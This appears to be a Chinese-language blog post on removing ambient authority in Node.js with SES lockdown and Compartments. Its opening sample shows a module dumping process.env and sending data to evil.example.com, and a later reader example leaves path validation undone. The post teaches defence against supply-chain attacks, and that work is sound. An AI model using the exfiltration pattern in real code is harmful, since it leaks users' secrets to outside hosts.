一個被攻破的傳遞依賴就能外洩你的 process.env、寫入你的檔案系統、開啟出站連線。它不需要你的程式碼存在漏洞。它只需要存在於同一個程序裡。在JavaScript中,每個模組預設繼承執行時的全部權限。這就是Ambient Authority,而移除它是你能對Node.js應用程式做的最有效的安全性升級之一。

JavaScript中的Ambient Authority長什麼樣

Ambient Authority意味著存取權限不繫結於「你被給予了什麼」,而是繫結於「你在哪裡執行」。Node.js程序內的任何程式碼都可以在不請求許可的情況下伸手去碰 fshttpchild_processprocess.env。執行時把這些全域物件提供給每一個模組,無論是否可信。

// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';

function innocentUtility(data) {
  fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
  https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
  return data.toUpperCase();
}

innocentUtility 函式被引入進來是為了把字串轉成大寫。因為它跑在Node.js程序裡面,所以它也擁有讀取環境變數和對外通訊的能力。沒有 sandbox。沒有權限模型。這段程式碼之所以預設擁有這些權力,僅僅因為執行時把它們放在了觸手可及的地方。

這不是假設。npm上的供應鏈攻擊經常利用的正是這一特性。惡意或被攻破的依賴不需要零日漏洞。它只需要被 require 進來。

Lockdown:第一刀

Agoric維護的SES(Secure ECMAScript)shim提供了一個 lockdown() 函式,用於加固JavaScript執行環境。它會凍結所有內建原型、移除 evalFunction 建構函式等危險全域物件,並防止原型汙染。lockdown之後,你自己的程式碼無法再意外或惡意地竄改 Array.prototypeObject.prototype

import 'ses';

lockdown();

// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');

// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};

lockdown很強大,但光靠它還不夠。它能防止共享環境被竄改,卻沒能移除Ambient Authority。一個經過lockdown的模組仍然可以執行 import fs from 'node:fs' 來讀取你的磁碟。lockdown保護的是語言。它不保護宿主。

Compartment:剝光宿主

Compartment 是一個擁有獨立全域作用域的全新JavaScript執行環境。與 vm 上下文或Web Worker不同,compartment共享同一個事件迴圈和記憶體堆積,但它一開始什麼都沒有。沒有 console,沒有 fetch,沒有 process。你必須顯式賦予它每一項被允許使用的capability。

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

const compartment = new Compartment({
  // Only these globals exist inside the compartment.
  console,
  Math,
  JSON,
});

// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
  // This throws: fetch is not defined.
  // fetch('https://evil.example.com');

  // This works: Math was endowed.
  Math.sqrt(16)
`);

console.log(result); // 4

這個compartment碰不到檔案系統、網路和 process.env,因為這些capability從未被傳入。即使compartment內部的程式碼被攻破,爆炸半徑也被限制在你所賦予的範圍內。

安全載入不可信模組

真正的供應鏈防禦意味著把第三方程式碼載入進compartment,並且只給它真正需要的權限。以下是一個適用於CommonJS或ESM bundle的模式。

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

// A constrained filesystem capability.
function createScopedReader(baseDir) {
  return {
    readFile(filename) {
      const path = require('node:path').join(baseDir, filename);
      // In production, validate the resolved path is inside baseDir.
      return readFileSync(path, 'utf-8');
    }
  };
}

const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');

const compartment = new Compartment({
  console: {
    log: (...args) => console.log('[plugin]', ...args)
  },
  fs: createScopedReader('./data/readonly/'),
});

// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);

供應商程式碼活在同一個程序裡,但它在capability邊界內運作。它打不開通訊端。它讀不了你倉儲裡的 package.json。它只能讀取你顯式劃定範圍的檔案,只能透過你提供的包裝器輸出日誌。

這不是理論上的加固。Agoric區塊鏈將這個模型用於其智慧合約平台。每一個智慧合約都在經過lockdown的compartment內執行,帶著顯式賦予的capability。

你會遇到的權衡

compartment不是免費的。SES shim會給原型打補丁、重寫一些內建行為,這會帶來一點初始化開銷。更重要的是,大量npm套件都預設依賴Ambient Authority。它們不匯入就直接去抓 processBuffersetImmediate。這些全域物件一旦缺失,程式碼就會崩潰。

你有三個選擇。第一,在compartment內用安全實作來polyfill缺失的全域物件。第二,賦予真正的全域物件並承擔風險。第三,稽核依賴並修正它的假設。

多數時候,依賴只是需要 BuffersetTimeout。這些可以放心賦予。危險的是 fsnetchild_processprocess.env。這些永遠不應該進入compartment,除非內部程式碼真的需要它們,即便如此你也應該包裝它們。

除錯也會變得更困難。compartment內部的stack trace指向的是被求值的字串或虛擬化原始碼。現代Node.js的source map支援能幫上忙,但出問題的時候你仍然要花時間去對應行號。

哪裡會失效

原生外掛程式和WASM模組會完全繞過JavaScript執行時。用 require 載入的 .node 檔案在SES compartment外部執行,保留著完整的Ambient Authority。如果你需要對原生程式碼做sandboxed,compartment不是答案。你需要作業系統層級的隔離:seccomp、Landlock,或者單獨的程序。

compartment還共享同一個堆積和事件迴圈。一個compartment仍然可以用無窮迴圈餓死CPU,或者不斷分配記憶體直到程序崩潰。SES提供了 compute 計量器來限制執行,但預設compartment不強制資源限制。它是安全邊界,不是資源邊界。

實用的起點

你不需要重寫整個應用程式。從風險最高的依賴開始:任何解析不可信輸入的東西、任何動態載入的東西、任何你不認識的發行者的東西。

import 'ses';

lockdown();

function runUntrusted(pluginCode, userData) {
  const compartment = new Compartment({
    JSON,
    Array,
    Object,
    // No fetch, no fs, no process.
  });

  // The plugin receives data and returns a result.
  // It cannot phone home. It cannot read files.
  return compartment.evaluate(`
    (${pluginCode})(${JSON.stringify(userData)})
  `);
}

把你的外掛系統、模板引擎、使用者提供的指令碼都包起來。給每一個一個只帶最小必要權限的compartment。如果某個依賴在compartment裡跑不起來,那是一個訊號。它是按照「我擁有整個程序」的假設寫出來的。你要移除的,正是這種假設。

常見問題

Compartment和Node的 vm 模組有什麼區別?

vm 會建立一個帶有新全域物件的上下文,但除非你顯式移除,它仍然可以存取完整的Node.js API。compartment從空開始,需要顯式的endowment。它還與SES lockdown整合,防止整個執行時的原型被竄改。

這能和TypeScript或打包工具一起用嗎?

可以。compartment執行的是JavaScript,所以你要先把TypeScript編譯掉。Rollup或esbuild等打包工具可以把依賴打成一個檔案,再載入進compartment。打包工具會去掉動態匯入,這反而讓compartmentsandboxed更容易。

賦予的capability能撤銷嗎?

不能直接撤銷。傳入compartment的capability是對JavaScript物件的參照。如果你需要撤銷機制,把capability包進一個代理或帶權杖檢查的包裝器裡,在每次存取時檢查一個旗標。這是所有capability系統都面臨的同一個撤銷問題。

SES已經能在生產環境使用了嗎?

SES自2021年起就在Agoric區塊鏈的生產環境中執行。npm上的 ses 套件在積極維護。它已經通過TC39的JavaScript標準化提案流程,但尚未成為語言規格的一部分。

這會取代containerization嗎?

不會。compartment是程序層級的安全邊界。container 是作業系統層級的邊界。用compartment限制程序內部程式碼能做什麼。用 container限制程序本身能做什麼。兩者是疊加強化的關係。

Ambient Authority之所以是JavaScript的預設,是因為它方便。方便和安全不是一回事。lockdown和compartment讓你剝除每個模組預設繼承的環境權力,用顯式的、有範圍的、可稽核的capability取而代之。從一個不可信的依賴開始。把它放進compartment。拿走它的 fsfetch。看看什麼真正會壞。多數時候,壞掉的東西是你的依賴本來就沒有資格做出的假設。